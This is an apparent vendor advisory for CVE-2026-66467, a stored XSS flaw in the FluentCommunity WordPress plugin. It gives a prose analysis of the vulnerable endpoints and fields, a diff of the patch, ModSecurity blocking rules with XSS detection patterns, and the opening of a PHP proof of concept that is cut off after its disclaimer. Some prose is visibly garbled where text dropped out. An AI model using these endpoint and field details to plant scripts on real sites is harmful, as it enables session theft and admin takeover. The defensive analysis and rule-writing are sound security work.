Opens in a new tab
Published : November 15, 2026

CVE-2026-66467: FluentCommunity – Ultra-Fast High-Performance Social Network, Community, LMS & Online Courses <= 2.7.5 Authenticated (Subscriber+) Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 2.7.5
Patched Version 2.7.7
Disclosed August 9, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-66467: This is an authenticated (Subscriber+) Stored Cross-Site Scripting (XSS) vulnerability affecting the FluentCommunity plugin (versions only($acceptedFields) to pick fields, but until this patch, they did not sanitize the ‘title’, ‘slug’, or ‘status’ fields. The title is later rendered with v-html in course views, creating a direct XSS sink. Similarly, in FeedsHelper.php::processFeedMetaData(), the media_preview.html field from request data is stored without sanitization when media.type == ‘iframe_html’, and this HTML is rendered via v-html in _MediaPreview.vue. CommentsController.php also stored media_preview.type and provider without sanitization, and height/width without casting to integer. NotificationEventHandler.php concatenated $feed->space->title and $pivot->role directly into HTML without esc_html(), and Activity.php concatenated feed excerpts without escaping. BaseSpace.php returned $this->logo in an img src without esc_url(). CustomSanitizer.php allowed and iframe srcdoc attributes, enabling CSS injection and script execution via srcdoc. Portal_page.php echoed json_encode($json_ld) without proper escaping flags.

An attacker with subscriber-level access can exploit these flaws by submitting crafted requests to multiple endpoints. For course lessons, a POST to the REST endpoint for updating a lesson (e.g., /wp-json/fluent-community/v1/course/lesson/update) with a title parameter containing a payload like will store the XSS. Similarly, creating a feed or comment with media_preview.html set to malicious markup (e.g., alert(1)) when media.type is ‘iframe_html’ will store the script if the attacker has moderator privileges (the patch adds a permission check, but the original lacked it). Comments allow injecting via meta.media_preview.type and provider fields, which are later rendered. Notifications can be triggered by actions like joining a space, where the space title is attacker-controlled and unescaped, or by commenting on posts. Attackers can also inject via space titles and logos if they have permission to manage spaces. The stored payload executes when any user (including administrators) views the affected page, such as the course page, activity feed, notification list, or space page.

The patch addresses the vulnerability comprehensively. In CourseAdminController.php, updateLesson() and updateTopic() now apply sanitize_text_field() to ‘title’ and ‘status’, sanitize_title() to ‘slug’, and validate ‘status’ against an allowlist. Bootstrap.php adds sanitizeMediaHtml() to sanitize media_preview.html via RemoteUrlParser::sanitizeOembedHtml() before storage. CommentsController.php sanitizes ‘type’ and ‘provider’ with sanitize_text_field() and casts ‘height’ and ‘width’ to integers. NotificationEventHandler.php wraps $pivot->role, $space->title, and $feed->space->title with esc_html(). Activity.php escapes the output of getHumanExcerpt() with esc_html(). BaseSpace.php uses esc_url() on $this->logo. CustomSanitizer.php removes and iframe ‘srcdoc’ and ‘style’ attributes from the allowed HTML list, preventing CSS injection and script execution. FeedsHelper.php adds a permission check (canEmbedRawHtml()) for raw iframe HTML and sanitizes the HTML via sanitizeOembedHtml(). Portal_page.php uses wp_json_encode() with JSON_HEX_TAG, JSON_HEX_AMP, JSON_HEX_APOS, and JSON_HEX_QUOT flags to safely embed JSON-LD. Helper.php adds sanitizeStoredMediaPreview() to sanitize stored media_preview.html on read for legacy data.

If exploited, this vulnerability allows an authenticated attacker to execute arbitrary JavaScript in the context of any user viewing the injected content, including administrators. This can lead to session hijacking, theft of sensitive data (cookies, tokens, personal information), privilege escalation (by creating rogue admin accounts), defacement of the site, or redirection to malicious domains. The stored nature means the payload persists and can affect multiple users over time. Given the community-focused nature of the plugin, an attacker could target high-value users like moderators or admins, potentially compromising the entire WordPress installation.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/fluent-community/Modules/Course/Http/Controllers/CourseAdminController.php
+++ b/fluent-community/Modules/Course/Http/Controllers/CourseAdminController.php
@@ -776,8 +776,19 @@
             $acceptedFields[] = 'reactions_count';
         }

+        // Request::only() does not sanitize. Section titles currently render as escaped
+        // text, so this is hygiene rather than a live sink, but keep the stored value
+        // clean so a future v-html render cannot turn it into one.
         $topicData = $request->only($acceptedFields);

+        if (isset($topicData['title'])) {
+            $topicData['title'] = sanitize_text_field($topicData['title']);
+        }
+
+        if (isset($topicData['status'])) {
+            $topicData['status'] = sanitize_text_field($topicData['status']);
+        }
+
         if (!empty($topicData['scheduled_at'])) {
             $topic->reactions_count = 0;
         } elseif (isset($topicData['reactions_count'])) {
@@ -1054,10 +1065,25 @@
         $acceptedFields = [ 'title', 'status', 'slug' ];

         // empty title/slug/status must not overwrite, but a literal "0" is a valid value
+        // Request::only() is a plain array pick with no sanitization, so each field is
+        // sanitized here the same way createLesson/updateLesson do it. The title is
+        // rendered with v-html in the course views, so it must not carry markup.
         $lessonData = array_filter($request->only($acceptedFields), function ($value) {
             return $value !== null && $value !== '';
         });

+        if (isset($lessonData['title'])) {
+            $lessonData['title'] = sanitize_text_field($lessonData['title']);
+        }
+
+        if (isset($lessonData['slug'])) {
+            $lessonData['slug'] = sanitize_title($lessonData['slug']);
+        }
+
+        if (isset($lessonData['status']) && !in_array($lessonData['status'], ['draft', 'published', 'archived'], true)) {
+            unset($lessonData['status']);
+        }
+
         if (Arr::get($lessonData, 'status') === 'published' && $lesson->status !== 'published') {
             if (empty($lesson->scheduled_at)) {
                 $lessonData['scheduled_at'] = current_time('mysql');
--- a/fluent-community/Modules/Integrations/FluentPlayer/Bootstrap.php
+++ b/fluent-community/Modules/Integrations/FluentPlayer/Bootstrap.php
@@ -79,6 +79,8 @@
             'skin'                 => 'modern',
             'brandColor'           => '#4a90e2',
             'controlBarColor'      => '',
+            'playButtonColor'      => '',
+            'playButtonBgColor'    => '',
             'controls'             => [
                 'play'            => true,
                 'volume'          => true,
@@ -121,6 +123,8 @@
             'skin'                 => 'sanitize_text_field',
             'brandColor'           => 'sanitize_text_field',
             'controlBarColor'      => 'sanitize_text_field',
+            'playButtonColor'      => 'sanitize_text_field',
+            'playButtonBgColor'    => 'sanitize_text_field',
             'controls.*'           => 'rest_sanitize_boolean',
             'behaviors.*'          => 'rest_sanitize_boolean',
             'video_upload'         => 'sanitize_text_field',
@@ -140,6 +144,8 @@
         $settings['enable_audio'] = Arr::get($settings, 'enable_audio') === 'yes' ? 'yes' : 'no';
         $settings['brandColor'] = self::sanitizeColor(Arr::get($settings, 'brandColor', ''));
         $settings['controlBarColor'] = self::sanitizeColor(Arr::get($settings, 'controlBarColor', ''));
+        $settings['playButtonColor'] = self::sanitizeColor(Arr::get($settings, 'playButtonColor', ''));
+        $settings['playButtonBgColor'] = self::sanitizeColor(Arr::get($settings, 'playButtonBgColor', ''));

         Utility::updateOption('_fluent_player_settings', $settings);

@@ -374,7 +380,7 @@
             if (!isset($data['meta'])) {
                 $data['meta'] = [];
             }
-            $data['meta']['media_preview'] = array_filter($media);
+            $data['meta']['media_preview'] = array_filter(self::sanitizeMediaHtml($media));
         }
         $audioMedias = $this->sanitizeAudioMedias($requestData);
         if ($audioMedias) {
@@ -392,7 +398,7 @@
             if (!isset($data['meta'])) {
                 $data['meta'] = [];
             }
-            $data['meta']['media_preview'] = array_filter($media);
+            $data['meta']['media_preview'] = array_filter(self::sanitizeMediaHtml($media));
         }
         $audioMedias = $this->sanitizeAudioMedias($requestData);
         if ($audioMedias) {
@@ -404,6 +410,20 @@
         return $data;
     }

+    /**
+     * media_preview.html is rendered with v-html in _MediaPreview.vue whenever the
+     * player itself cannot handle the media, so request-supplied markup has to go
+     * through the oembed allowlist before it is stored.
+     */
+    private static function sanitizeMediaHtml($media)
+    {
+        if (!empty($media['html'])) {
+            $media['html'] = FluentCommunityAppServicesRemoteUrlParser::sanitizeOembedHtml($media['html']);
+        }
+
+        return $media;
+    }
+
     public function maybeUpdateUploadedMedia($uploadedMedias, $requestData)
     {
         $media = Arr::get($requestData, 'meta.media_preview', []);
--- a/fluent-community/Modules/Integrations/FluentPlayer/Http/Controllers/MediaController.php
+++ b/fluent-community/Modules/Integrations/FluentPlayer/Http/Controllers/MediaController.php
@@ -344,25 +344,18 @@
                 }
             ";
         }
-        $brandingColor = Bootstrap::sanitizeColor(Arr::get($settings, 'brandColor', ''));
-        if ($brandingColor) {
-            $customCss .= "
-                #fluent_player_" . esc_attr($instanceId) . " {
-                    --media-brand: " . esc_attr($brandingColor) . ";
-                }
-            ";
-        }
-        $controlBarColor = Bootstrap::sanitizeColor(Arr::get($settings, 'controlBarColor', ''));
-        if ($brandingColor || $controlBarColor) {
+        $colorVars = array_filter([
+            '--media-brand'       => Bootstrap::sanitizeColor(Arr::get($settings, 'brandColor', '')),
+            '--fp-control-bar-bg' => Bootstrap::sanitizeColor(Arr::get($settings, 'controlBarColor', '')),
+            '--media-play-color'  => Bootstrap::sanitizeColor(Arr::get($settings, 'playButtonColor', '')),
+            '--media-play-bg'     => Bootstrap::sanitizeColor(Arr::get($settings, 'playButtonBgColor', ''))
+        ]);
+        if ($colorVars) {
             $customCss .= "
                 #fluent_player_" . esc_attr($instanceId) . " {";
-            if ($brandingColor) {
-                $customCss .= "
-                    --media-brand: " . esc_attr($brandingColor) . ";";
-            }
-            if ($controlBarColor) {
+            foreach ($colorVars as $varName => $varValue) {
                 $customCss .= "
-                    --fp-control-bar-bg: " . esc_attr($controlBarColor) . ";";
+                    " . $varName . ": " . esc_attr($varValue) . ";";
             }
             $customCss .= "
                 }
--- a/fluent-community/app/Functions/Utility.php
+++ b/fluent-community/app/Functions/Utility.php
@@ -263,6 +263,7 @@
         $defaults = [
             'can_customize_username'         => 'no',
             'can_change_email'               => 'no',
+            'can_change_password'            => 'yes',
             'show_last_activity'             => 'yes',
             'can_deactive_account'           => 'no',
             'email_auto_login'               => 'yes',
--- a/fluent-community/app/Hooks/Handlers/ActivityMonitorHandler.php
+++ b/fluent-community/app/Hooks/Handlers/ActivityMonitorHandler.php
@@ -36,26 +36,33 @@
             }
         });

-        add_action('wp_ajax_fluent_community_renew_nonce', function () {
+        add_action('wp_ajax_fluent_community_renew_nonce', [$this, 'renewNonce']);

-            $ajax_nonce = Arr::get($_REQUEST, 'ajax_nonce'); // phpcs:ignore WordPress.Security.NonceVerification.Recommended
-
-            if (!wp_verify_nonce($ajax_nonce, 'fluent_community_ajax_nonce')) {
-                wp_send_json(['message' => 'Invalid nonce'], 400);
-            }
-
-            $currentProfile = Helper::getCurrentProfile();
-            if (!$currentProfile) {
-                wp_send_json(['message' => 'Invalid user'], 400);
-            }
-
-            wp_send_json([
-                'rest_nonce' => wp_create_nonce('wp_rest'),
-                'ajax_nonce' => wp_create_nonce('fluent_community_ajax_nonce'),
-            ], 200);
+        // Logged-out: without this, WP returns "0"/200 and the SPA loops on a stale nonce.
+        add_action('wp_ajax_nopriv_fluent_community_renew_nonce', function () {
+            wp_send_json(['message' => __('Your session has expired. Please log in again.', 'fluent-community')], 401);
         });
     }

+    public function renewNonce()
+    {
+        $ajax_nonce = Arr::get($_REQUEST, 'ajax_nonce'); // phpcs:ignore WordPress.Security.NonceVerification.Recommended
+
+        if (!wp_verify_nonce($ajax_nonce, 'fluent_community_ajax_nonce')) {
+            wp_send_json(['message' => __('Invalid nonce', 'fluent-community')], 400);
+        }
+
+        $currentProfile = Helper::getCurrentProfile();
+        if (!$currentProfile) {
+            wp_send_json(['message' => __('Invalid user', 'fluent-community')], 401);
+        }
+
+        wp_send_json([
+            'rest_nonce' => wp_create_nonce('wp_rest'),
+            'ajax_nonce' => wp_create_nonce('fluent_community_ajax_nonce'),
+        ], 200);
+    }
+

     public function handleNewCommentEvent($comment, $feed)
     {
--- a/fluent-community/app/Hooks/Handlers/NotificationEventHandler.php
+++ b/fluent-community/app/Hooks/Handlers/NotificationEventHandler.php
@@ -203,8 +203,8 @@
         $notificationContent = sprintf(
         /* translators: %1$s is the role name, %2$s is the space title */
             __('You have been added as %1$s in %2$s', 'fluent-community'),
-            '<b>' . $pivot->role . '</b>',
-            '<b>' . $space->title . '</b>'
+            '<b>' . esc_html($pivot->role) . '</b>',
+            '<b>' . esc_html($space->title) . '</b>'
         );

         $route = [
@@ -266,7 +266,7 @@
                         $commenter,
                         '<b class="fcom_nrc">' . ($totalUsers - 1) . '</b>',
                         '<span class="fcom_nft">' . $feedTitle . '</span>',
-                        '<b class="fcom_nst">' . $feed->space->title . '</b>'
+                        '<b class="fcom_nst">' . esc_html($feed->space->title) . '</b>'
                     );
                 } else {
                     $notificationContent = sprintf(
@@ -274,7 +274,7 @@
                         __('%1$s commented on your post: %2$s in %3$s', 'fluent-community'),
                         $commenter,
                         '<span class="fcom_nft">' . $feedTitle . '</span>',
-                        '<b class="fcom_nst">' . $feed->space->title . '</b>'
+                        '<b class="fcom_nst">' . esc_html($feed->space->title) . '</b>'
                     );
                 }
             } else {
@@ -303,7 +303,7 @@
                     __('%1$s commented on your post: %2$s in %3$s', 'fluent-community'),
                     $commenter,
                     '<span class="fcom_nft">' . $feedTitle . '</span>',
-                    '<b class="fcom_nst">' . $feed->space->title . '</b>'
+                    '<b class="fcom_nst">' . esc_html($feed->space->title) . '</b>'
                 );
             } else {
                 $notificationContent = sprintf(
@@ -411,7 +411,7 @@
                         $commenter,
                         '<b class="fcom_nrc">' . ($totalUsers - 1) . '</b>',
                         $feedTitle,
-                        '<b class="fcom_nst">' . $feed->space->title . '</b>'
+                        '<b class="fcom_nst">' . esc_html($feed->space->title) . '</b>'
                     );
                 } else {
                     $notificationContent = sprintf(
@@ -419,7 +419,7 @@
                         __('%1$s also commented on %2$s in %3$s', 'fluent-community'),
                         $commenter,
                         $feedTitle,
-                        '<b class="fcom_nst">' . $feed->space->title . '</b>'
+                        '<b class="fcom_nst">' . esc_html($feed->space->title) . '</b>'
                     );
                 }
             } else {
@@ -447,7 +447,7 @@
                     __('%1$s also commented on %2$s in %3$s', 'fluent-community'),
                     $commenter,
                     $feedTitle,
-                    '<b class="fcom_nst">' . $space->title . '</b>'
+                    '<b class="fcom_nst">' . esc_html($space->title) . '</b>'
                 );
             } else {
                 $notificationContent = sprintf(
--- a/fluent-community/app/Hooks/Handlers/PortalHandler.php
+++ b/fluent-community/app/Hooks/Handlers/PortalHandler.php
@@ -318,7 +318,7 @@
                     <div class="fcom_user_menu_item">
                         <div class="fcom_profile_extend">
                             <div class="fcom_profile_menu">
-                                <div class="user_avatar">
+                                <div class="user_avatar" role="button" tabindex="0" aria-expanded="false" aria-controls="fcom_profile_sub_menu" aria-label="<?php echo esc_attr__('Account menu', 'fluent-community'); ?>">
                                     <img alt="<?php echo esc_attr($auth->display_name); ?>" src="<?php echo esc_url($auth->avatar); ?>"/>
                                     <span class="avatar_icon">
                                         <svg xmlns="http://www.w3.org/2000/svg" height="8" width="8"
@@ -331,7 +331,7 @@
                                 <span class="user_name">
                                     <?php echo esc_html($auth->display_name); ?>
                                 </span>
-                                <ul class="fcom_profile_sub_menu">
+                                <ul id="fcom_profile_sub_menu" class="fcom_profile_sub_menu">
                                     <li class="fcom_profile_block">
                                         <a href="<?php echo esc_url(Helper::baseUrl('/u/' . $auth->username)); ?>">
                                             <div class="fcom_profile_avatar">
--- a/fluent-community/app/Http/Controllers/CommentsController.php
+++ b/fluent-community/app/Http/Controllers/CommentsController.php
@@ -405,12 +405,15 @@
             }
         }

+        // type/provider reach :class bindings and width/height a :style binding in
+        // _MediaPreview.vue. Neither is an executable sink, but the stored values are
+        // request-supplied so they are normalised here rather than trusted.
         $commentData['meta']['media_preview'] = array_filter([
             'image'    => sanitize_url(Arr::get($requestData, 'meta.media_preview.image', '')),
-            'type'     => Arr::get($requestData, 'meta.media_preview.type', 'image'),
-            'provider' => Arr::get($requestData, 'meta.media_preview.provider', ''),
-            'height'   => Arr::get($requestData, 'meta.media_preview.height', 0),
-            'width'    => Arr::get($requestData, 'meta.media_preview.width', 0),
+            'type'     => sanitize_text_field(Arr::get($requestData, 'meta.media_preview.type', 'image')),
+            'provider' => sanitize_text_field(Arr::get($requestData, 'meta.media_preview.provider', '')),
+            'height'   => (int) Arr::get($requestData, 'meta.media_preview.height', 0),
+            'width'    => (int) Arr::get($requestData, 'meta.media_preview.width', 0),
         ]);

         return [$commentData, []];
--- a/fluent-community/app/Http/Controllers/ProfileController.php
+++ b/fluent-community/app/Http/Controllers/ProfileController.php
@@ -86,6 +86,7 @@
             $profile['short_description'] = $xprofile->short_description;
             $profile['can_change_username'] = $isAdmin || Utility::getPrivacySetting('can_customize_username') === 'yes';
             $profile['can_change_email'] = current_user_can('edit_users') || (Utility::getPrivacySetting('can_change_email') === 'yes' && $isOwn);
+            $profile['can_change_password'] = $isOwn && Utility::getPrivacySetting('can_change_password') === 'yes';
         }

         $profileBaseUrl = Helper::baseUrl('u/' . $xprofile->username . '/');
@@ -458,6 +459,12 @@
             ]);
         }

+        if (Utility::getPrivacySetting('can_change_password') !== 'yes') {
+            return $this->sendError([
+                'message' => __('Password change is disabled', 'fluent-community')
+            ]);
+        }
+
         $data = $request->get('data', []);

         $this->validate($data, [
--- a/fluent-community/app/Models/Activity.php
+++ b/fluent-community/app/Models/Activity.php
@@ -100,11 +100,11 @@
         switch ($this->action_name) {
             case 'feed_published':
                 /* translators: %1$s is the person name and %2$s is the feed excerpt */
-                $message = sprintf(__('%1$s published a new status %2$s', 'fluent-community'), '<span class="fcom_user_name">' . esc_html($this->xprofile->display_name) . '</span>', '<span class="fcom_feed_excerpt">' . $this->feed->getHumanExcerpt() . '</span>');
+                $message = sprintf(__('%1$s published a new status %2$s', 'fluent-community'), '<span class="fcom_user_name">' . esc_html($this->xprofile->display_name) . '</span>', '<span class="fcom_feed_excerpt">' . esc_html($this->feed->getHumanExcerpt()) . '</span>');
                 break;
             case 'comment_added':
                 /* translators: %1$s is the person name and %2$s is the feed excerpt */
-                $message = sprintf(__('%1$s added a comment on %2$s', 'fluent-community'), '<span class="fcom_user_name">' . esc_html($this->xprofile->display_name) . '</span>', '<span class="fcom_feed_excerpt">' . $this->feed->getHumanExcerpt() . '</span>');
+                $message = sprintf(__('%1$s added a comment on %2$s', 'fluent-community'), '<span class="fcom_user_name">' . esc_html($this->xprofile->display_name) . '</span>', '<span class="fcom_feed_excerpt">' . esc_html($this->feed->getHumanExcerpt()) . '</span>');
                 break;
         }

--- a/fluent-community/app/Models/BaseSpace.php
+++ b/fluent-community/app/Models/BaseSpace.php
@@ -541,7 +541,7 @@
         }

         if ($this->logo) {
-            return '<img alt="" src="' . $this->logo . '"/>';
+            return '<img alt="" src="' . esc_url($this->logo) . '"/>';
         }

         if ($imoji = Arr::get($this->settings, 'emoji')) { // phpcs:ignore Squiz.PHP.DisallowMultipleAssignments.FoundInControlStructure
--- a/fluent-community/app/Models/Comment.php
+++ b/fluent-community/app/Models/Comment.php
@@ -229,7 +229,7 @@
             $meta = [];
         }

-        return $meta;
+        return Helper::sanitizeStoredMediaPreview($meta);
     }

     public function getHumanExcerpt($length = 30)
--- a/fluent-community/app/Models/Feed.php
+++ b/fluent-community/app/Models/Feed.php
@@ -207,7 +207,7 @@
             $meta = [];
         }

-        return $meta;
+        return Helper::sanitizeStoredMediaPreview($meta);
     }

     public function scopeSearchBy($query, $search, $in = [])
--- a/fluent-community/app/Services/CustomSanitizer.php
+++ b/fluent-community/app/Services/CustomSanitizer.php
@@ -322,7 +322,11 @@
         if (!empty($item['icon_svg'])) {
             $item['icon_svg'] = self::sanitizeSvg($item['icon_svg']);
         }
-
+
+        if (!empty($item['shape_svg'])) {
+            $item['shape_svg'] = self::sanitizeSvg($item['shape_svg']);
+        }
+
         if (Arr::get($item, 'privacy') == 'members_only') {
             $item['membership_ids'] = array_map('sanitize_text_field', (array)Arr::get($item, 'membership_ids', []));
         }
@@ -355,16 +359,20 @@
         }

         $tags = wp_kses_allowed_html('post');
-        $tags['style'] = [
-            'types' => [],
-        ];

-        // iframe
+        // No <style> element: kses filters style="" attributes but never the text content
+        // of a <style> block, so allowing it would let any role that can author this markup
+        // persist CSS (@import, attribute-selector data exfiltration, UI redress) against
+        // every viewer. Embed/media HTML never needs a <style> element.
+
+        // iframe. Note there is deliberately no 'srcdoc' here: a srcdoc iframe without a
+        // sandbox attribute is same-origin with the portal, so allowing it would let any
+        // role that can author embed markup run script against every viewer. Real embed
+        // providers only ever use src.
         $tags['iframe'] = [
             'width'           => [],
             'height'          => [],
             'src'             => [],
-            'srcdoc'          => [],
             'title'           => [],
             'frameborder'     => [],
             'allow'           => [],
@@ -372,7 +380,6 @@
             'id'              => [],
             'allowfullscreen' => [],
             'referrerpolicy'  => [],
-            'style'           => [],
         ];

         $tags = apply_filters('fluent_community/allowed_html_tags', $tags);
--- a/fluent-community/app/Services/FeedsHelper.php
+++ b/fluent-community/app/Services/FeedsHelper.php
@@ -728,6 +728,53 @@
         return $feed;
     }

+    /**
+     * Whether the current request may attach a raw "HTML Code" (iframe_html) embed.
+     *
+     * Mirrors the frontend rule in _VideoEmbeder.vue, which exposes that editor tab only
+     * when is_admin is true — i.e. community_moderator globally or within the target
+     * space. Programmatic creation is judged on the supplied author's permission rather
+     * than the HTTP session, so integrations work without a logged-in user. Defaults to
+     * denying when no user can be established at all.
+     *
+     * @param array $requestData Raw request payload.
+     * @param array $data Feed data being assembled.
+     * @param FluentCommunityAppModelsFeed|null $existingFeed Set when editing.
+     * @return bool
+     */
+    private static function canEmbedRawHtml($requestData, $data, $existingFeed = null)
+    {
+        // FeedsController::store()/update() already resolved this against the target space.
+        $precomputed = Arr::get($requestData, 'is_admin');
+        if ($precomputed !== null) {
+            return (bool)$precomputed;
+        }
+
+        // Every other caller resolves it here, against the post's author where one has
+        // been established server-side (createFeed() takes user_id from its caller), and
+        // the current user otherwise. Read from $data and never $requestData: the author
+        // is assigned by the controller, so a request cannot nominate whose permission
+        // gets checked.
+        $userId = (int)Arr::get($data, 'user_id');
+        if (!$userId) {
+            $userId = get_current_user_id();
+        }
+
+        $user = $userId ? User::find($userId) : null;
+        if (!$user) {
+            return false;
+        }
+
+        $space = null;
+        if ($existingFeed) {
+            $space = $existingFeed->space;
+        } elseif ($spaceId = (Arr::get($data, 'space_id') ?: Arr::get($requestData, 'space_id'))) {
+            $space = BaseSpace::find($spaceId);
+        }
+
+        return (bool)$user->hasPermissionOrInCurrentSpace('community_moderator', $space);
+    }
+
     public static function processFeedMetaData($data, $requestData, $existingFeed = null)
     {
         if (empty($data['meta'])) {
@@ -797,8 +844,24 @@
 		    )
 	    ) {
             if (Arr::get($requestData, 'media.type') == 'iframe_html') {
+                // The UI only offers the "HTML Code" embed to moderators
+                // (_VideoEmbeder.vue passes has_iframe="is_admin"). That is a hint, not a
+                // control, so the same rule is enforced here. Reaching this branch without
+                // the permission means the field was posted straight to the REST API, so
+                // the embed is dropped rather than stored.
+                if (!self::canEmbedRawHtml($requestData, $data, $existingFeed)) {
+                    return [$data, $uplaodedDocs];
+                }
+
                 $mediaPreview = array_filter(Arr::get($requestData, 'media', []));

+                // Moderators are trusted to embed, not to bypass sanitization: the markup
+                // still goes through the same allowlist the oembed branch below uses.
+                if (!empty($mediaPreview['html'])) {
+                    $mediaPreview['html'] = RemoteUrlParser::sanitizeOembedHtml($mediaPreview['html']);
+                    $mediaPreview = array_filter($mediaPreview);
+                }
+
                 if (empty($mediaPreview['image']) && !empty($mediaPreview['html'])) {
                     $thumb = RemoteUrlParser::extractIframeThumbnail($mediaPreview['html']);
                     if ($thumb) {
--- a/fluent-community/app/Services/Helper.php
+++ b/fluent-community/app/Services/Helper.php
@@ -750,6 +750,29 @@
     }

     /**
+     * Sanitize embed markup held in a feed/comment meta array on read.
+     *
+     * meta.media_preview.html is rendered with v-html in _MediaPreview.vue, so it is
+     * sanitized on write. Doing it on read as well neutralizes rows that were stored
+     * before the write-side fix landed, and covers any writer reaching the meta via
+     * the fluent_community/feed/* filters. The emptiness check keeps this free for the
+     * vast majority of rows, which carry no embed markup at all.
+     *
+     * @param array $meta The unserialized meta array.
+     * @return array The meta array with any embed markup passed through the allowlist.
+     */
+    public static function sanitizeStoredMediaPreview($meta)
+    {
+        if (empty($meta['media_preview']['html'])) {
+            return $meta;
+        }
+
+        $meta['media_preview']['html'] = RemoteUrlParser::sanitizeOembedHtml($meta['media_preview']['html']);
+
+        return $meta;
+    }
+
+    /**
      * Get a human-readable excerpt from content.
      *
      * @param string $content The content to extract from.
--- a/fluent-community/app/Services/TransStrings.php
+++ b/fluent-community/app/Services/TransStrings.php
@@ -1260,6 +1260,8 @@
             'Placeholder image' => __('Placeholder image', 'fluent-community'),
             'Placeholder text' => __('Placeholder text', 'fluent-community'),
             'Play' => __('Play', 'fluent-community'),
+            'Play Button Background Color' => __('Play Button Background Color', 'fluent-community'),
+            'Play Button Color' => __('Play Button Color', 'fluent-community'),
             'Play Embedded Videos With FluentPlayer' => __('Play Embedded Videos With FluentPlayer', 'fluent-community'),
             'Play/Pause' => __('Play/Pause', 'fluent-community'),
             'Playback Speed' => __('Playback Speed', 'fluent-community'),
--- a/fluent-community/app/Views/portal/header.php
+++ b/fluent-community/app/Views/portal/header.php
@@ -20,7 +20,7 @@
 <div class="fcom_top_menu">
     <div class="top_menu_left">
         <div class="space_opener">
-            <button aria-label="<?php echo esc_attr__('Open Menu', 'fluent-community'); ?>" class="fcom_space_opener_btn" aria-disabled="false" type="button">
+            <button aria-label="<?php echo esc_attr__('Open Menu', 'fluent-community'); ?>" class="fcom_space_opener_btn" aria-disabled="false" aria-expanded="false" type="button">
                 <span>
                     <i class="el-icon">
                         <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 16" width="20" height="20" fill="currentColor">
--- a/fluent-community/app/Views/portal_page.php
+++ b/fluent-community/app/Views/portal_page.php
@@ -42,7 +42,7 @@
         <link rel="canonical" href="<?php echo esc_url($canonical_url); ?>">
         <?php endif; ?>

-        <?php if(!empty($json_ld)): ?><script type="application/ld+json"><?php echo json_encode($json_ld); ?></script>
+        <?php if(!empty($json_ld)): ?><script type="application/ld+json"><?php echo wp_json_encode($json_ld, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT); ?></script>
         <?php endif; ?>
     <?php endif; ?>

--- a/fluent-community/fluent-community.php
+++ b/fluent-community/fluent-community.php
@@ -5,7 +5,7 @@
 /**
  * Plugin Name: FluentCommunity
  * Description: The super-fast Community Plugin for WordPress
- * Version: 2.7.5
+ * Version: 2.7.7
  * Author: WPManageNinja LLC
  * Author URI: https://fluentcommunity.co
  * Plugin URI: https://fluentcommunity.co
@@ -14,13 +14,13 @@
  * Domain Path: /language
  */

-define('FLUENT_COMMUNITY_PLUGIN_VERSION', '2.7.5');
+define('FLUENT_COMMUNITY_PLUGIN_VERSION', '2.7.7');
 define('FLUENT_COMMUNITY_PLUGIN_DIR', plugin_dir_path(__FILE__));
 define('FLUENT_COMMUNITY_PLUGIN_URL', plugin_dir_url(__FILE__));
 define('FLUENT_COMMUNITY_DIR_FILE', __FILE__);
 define('FLUENT_COMMUNITY_START_TIME', microtime(true));
 define('FLUENT_COMMUNITY_DB_VERSION', '1.0.7');
-define('FLUENT_COMMUNITY_MIN_PRO_VERSION', '2.7.5');
+define('FLUENT_COMMUNITY_MIN_PRO_VERSION', '2.7.7');

 if (!defined('FLUENTCRM_COMMUNITY_UPLOAD_DIR')) {
     define('FLUENT_COMMUNITY_UPLOAD_DIR', 'fluent-community');
--- a/fluent-community/vendor/woocommerce/action-scheduler/index.php
+++ b/fluent-community/vendor/woocommerce/action-scheduler/index.php
@@ -0,0 +1,2 @@
+<?php
+// silent is golden
--- a/fluent-community/vendor/woocommerce/index.php
+++ b/fluent-community/vendor/woocommerce/index.php
@@ -0,0 +1,2 @@
+<?php
+// silent is golden

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-66467
# Blocks stored XSS via FluentCommunity course lesson/topic title update
SecRule REQUEST_URI "@rx ^/wp-json/fluent-community/v[0-9]+/course/(lesson|topic)/(update|create)" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-66467 - FluentCommunity Stored XSS via course title',severity:'CRITICAL',tag:'CVE-2026-66467'"
  SecRule ARGS_POST:title "@rx <[^>]*>" "t:urlDecodeUni,chain"
    SecRule ARGS_POST:title "@rx (script|onerror|onload|svg|iframe|alert|prompt|confirm|eval|expression|javascript:)" "t:urlDecodeUni"

# Blocks stored XSS via feed/comment media_preview.html (iframe_html)
SecRule REQUEST_URI "@rx ^/wp-json/fluent-community/v[0-9]+/(feeds|comments)" 
  "id:20261995,phase:2,deny,status:403,chain,msg:'CVE-2026-66467 - FluentCommunity Stored XSS via media_preview',severity:'CRITICAL',tag:'CVE-2026-66467'"
  SecRule ARGS_POST:media_preview.html "@rx <script|onerror|onload|javascript:|srcdoc" "t:urlDecodeUni"

# Blocks stored XSS via space title/logo and notification content (AJAX endpoints)
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261996,phase:2,deny,status:403,chain,msg:'CVE-2026-66467 - FluentCommunity Stored XSS via AJAX',severity:'CRITICAL',tag:'CVE-2026-66467'"
  SecRule ARGS_POST:action "@rx ^(fluent_community_update_space|fluent_community_update_profile)" "chain"
    SecRule ARGS_POST "@rx <script|onerror|onload|javascript:|srcdoc" "t:urlDecodeUni"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
